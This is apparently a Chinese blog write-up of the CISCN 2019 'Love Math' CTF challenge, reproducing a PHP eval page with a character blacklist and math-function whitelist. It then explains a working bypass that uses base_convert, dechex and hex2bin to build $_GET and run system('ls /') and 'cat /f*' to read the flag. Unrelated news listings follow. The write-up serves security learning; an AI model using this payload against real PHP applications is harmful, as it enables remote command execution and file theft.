[CISCN 2019 初赛]Love Math
打开题目便是一段代码?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){ show_source(__FILE__); }else{ $content $_GET[c]; //如果没有在url中通过GET传参数c就显示当前PHP文件源代码否则将参数c的值赋给$content if (strlen($content) 80) { die(太长了不会算); } //但是$content的长度不能大于80 $blacklist [ , \t, \r, \n,\, , , \[, \]]; foreach ($blacklist as $blackitem) { //foreach是 PHP 的循环语句作用是逐个取出$blacklist数组中的元素并把当前元素赋值给变量$blackitem。 //遍历黑名单数组中的每一个禁止字符 if (preg_match(/ . $blackitem . /m, $content)) { die(请不要输入奇奇怪怪的字符); } //检查$content中的内容中是否包含禁止的字符如果包含就停止运行代码然后返回请不要输入奇奇怪怪的字符 } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh]; //白名单共有50个数学函数其中包含base_convert函数通过base_convert将数字转换为字符串 preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); //preg_match_all()会匹配所有符合规则的结果并把结果存入第三个参数$used_funcs中。 //如果$content abs(123) tan(45) - eval(xxx)那么$used_funcs[0]会得到[abs, tan, eval]。 foreach ($used_funcs[0] as $func) { //遍历$used_funcs[0]数组把当前遍历到的函数名赋值给变量$func。 if (!in_array($func, $whitelist)) { //in_array($func, $whitelist)PHP 内置函数检查$func是否存在于$whitelist数组中存在则返回true否则返回false。 die(请不要输入奇奇怪怪的函数); } } //帮你算出答案 eval(echo .$content.;); }我们可以利用动态函数调用白名单仅检查显式写出的函数名不检查动态生成的函数名所以我们可以利用base_convert函数将数字转换为字符串再调用该函数不能使用空格和引号我们可以使用括号和逗号来直接传递参数例如?cbase_convert(55490343972,10,36)(0)就是phpinfo(0)将十进制数55490343972 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35所以base_convert(55490343972,10,36)表示的就是phpinfohex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式所以我们可以先使用base_convert函数将hex2bin() 函数构造出来base_convert(37907361743,10,36) 表示的就是 hex2bin而hex2bin(5f474554) 转换完就是 _GET但是吧5f474554中存在以字母开头的子字符串f474554但是可以使用 dechex()函数将10进制数转换为16进制的数dechex(1598506324)就是等于5f474554所以_GET就等于base_convert(37907361743,10,36)(dechex(1598506324))这行的目的是绕过后端关键词过滤构造出$_GET这个超全局变量名$pi的值是_GET所以$$pi等价于$_GET我们可以通过c参数传递 “读取pi参数的逻辑”最终让代码去读取 URL 里独立的pi参数值所以payload?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowls /在php中数组访问可以用{}来代替[],所以$_GET{pi}等价于$_GET[pi]所以$_GET[pi] system → $$pi{pi} system所以$_GET[pow] ls / → $$pi{pow} ls /所以($$pi{pi})($$pi{pow})就是 (system)(ls /)查看flag?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowcat /f*flag{65b17e9b-884d-406e-8678-b89d4cdfb073}

相关新闻

[Godot] 通过AABB包围盒和射线法检测碰撞

[Godot] 通过AABB包围盒和射线法检测碰撞

前言 最近需要做鼠标选择单位的功能,所以给大家分享一下我是如何实现的,简单来说,是在鼠标点击后,通过我写的获取单位点集的方法,先通过AABB包围盒进行粗筛,然后再通过射线法进行精确判定,最后根…

2026/7/5 18:16:49 阅读更多 →
2026最新版 Anaconda 下载与安装全流程详解(超详细图文教程)

2026最新版 Anaconda 下载与安装全流程详解(超详细图文教程)

一、下载 首先,我们需要获取Anaconda的安装包。官方地址:Advance AI with Open Source | Anaconda 更新之后需要注册了,可以使用邮箱注册一下,如果不想注册的,我下面会放一个百度网盘的安装包地址:https:…

2026/7/2 23:48:40 阅读更多 →
基于Django的洗衣服务平台设计与实现

基于Django的洗衣服务平台设计与实现

前言着互联网技术的飞速发展,传统洗衣服务行业正逐步向线上转型。本文详细阐述了一个基于 Django 框架构建的洗衣服务平台的设计与实现过程。通过对洗衣服务业务流程的深入分析,确定了平台的功能需求和非功能需求。在此基础上,进行了系统的总…

2026/7/5 22:46:33 阅读更多 →

最新新闻

Terraform工程化实战:模块化、状态治理与计划审计三大策略体系

Terraform工程化实战:模块化、状态治理与计划审计三大策略体系

1. 项目概述:这不是一次简单的“语法升级”,而是一场基础设施即代码的思维跃迁“Terraforming Parts Unknown”这个标题乍看像科幻小说——在未知疆域上重塑地貌。但对每天和云资源、Kubernetes集群、网络拓扑打交道的工程师来说,它精准戳中了…

2026/7/6 10:30:09 阅读更多 →
YOLO目标检测全系列教程:从v1到v13的系统学习指南

YOLO目标检测全系列教程:从v1到v13的系统学习指南

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 这次我们来看一套完整的 YOLO 目标检测算法教程。这套教程号称覆盖了从 YOLOv1 到 YOLOv13 的所有核心算法,内容长达 100 …

2026/7/6 10:30:08 阅读更多 →
Excel COUNT系列函数:数据质量诊断与业务逻辑翻译指南

Excel COUNT系列函数:数据质量诊断与业务逻辑翻译指南

1. 项目概述:Excel中COUNT系列函数不是“数数”那么简单,而是数据质量的守门员 在Excel里写个COUNT(A1:A100),看起来只是统计非空单元格个数——但如果你真这么想,说明你还没摸到Excel数据处理的门槛。我带过二十多个企业数据分析…

2026/7/6 10:28:04 阅读更多 →
Plone 4教职员目录系统:组织级身份服务中间件实践

Plone 4教职员目录系统:组织级身份服务中间件实践

1. 项目概述:一个被低估的组织级信息基础设施重建 Plone 4 时代的 Faculty/Staff Directory(教职员工名录)绝不是简单做个“通讯录页面”——它是一套嵌入在高校数字生态毛细血管里的身份服务中间件。我2012年接手某州立大学文理学院的这个项…

2026/7/6 10:26:00 阅读更多 →
Excel乘法的三层逻辑:从单元格相乘到矩阵运算

Excel乘法的三层逻辑:从单元格相乘到矩阵运算

1. 为什么“乘法”是Excel里最被低估却最该优先掌握的核心能力 很多人刚学Excel时,第一反应是学求和、排序、筛选——这没错,但真正拉开效率差距的,往往不是你会不会用数据透视表,而是你能不能在3秒内把一整列价格打85折、把12个月…

2026/7/6 10:26:00 阅读更多 →
Hermes+Kimi K2.6构建高可用智能体生产流水线

Hermes+Kimi K2.6构建高可用智能体生产流水线

1. 项目概述:这不是一个“搭个API就能跑”的玩具,而是一套可量产、能扛压的智能体生产流水线“万字保姆级教程:HermesKimi K2.6 打造7x24h Agent军团”——光看标题,你可能以为这是又一篇调用大模型API的入门笔记。但实际操作过的…

2026/7/6 10:23:56 阅读更多 →

日新闻

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2与MySQL单元测试兼容性:5个关键SQL语句差异与规避方案1. 单元测试中的数据库兼容性挑战在Java开发领域,单元测试是保证代码质量的重要环节。当应用涉及数据库操作时,测试环境的搭建往往成为开发者的痛点。H2数据库因其轻量级、内存模式和快…

2026/7/6 0:01:17 阅读更多 →
Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘 【免费下载链接】rbtray A fork of RBTray from http://sourceforge.net/p/rbtray/code/. 项目地址: https://gitcode.com/gh_mirrors/rb/rbtray 你是否厌倦了Windows任务栏上密密麻麻的图标&…

2026/7/6 0:01:17 阅读更多 →
Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C 运行时库一键安装终极指南:告别DLL缺失烦恼 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经遇到过这样的情况:下载了…

2026/7/6 0:05:19 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/6 8:11:50 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/6 8:11:52 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/6 6:52:56 阅读更多 →

月新闻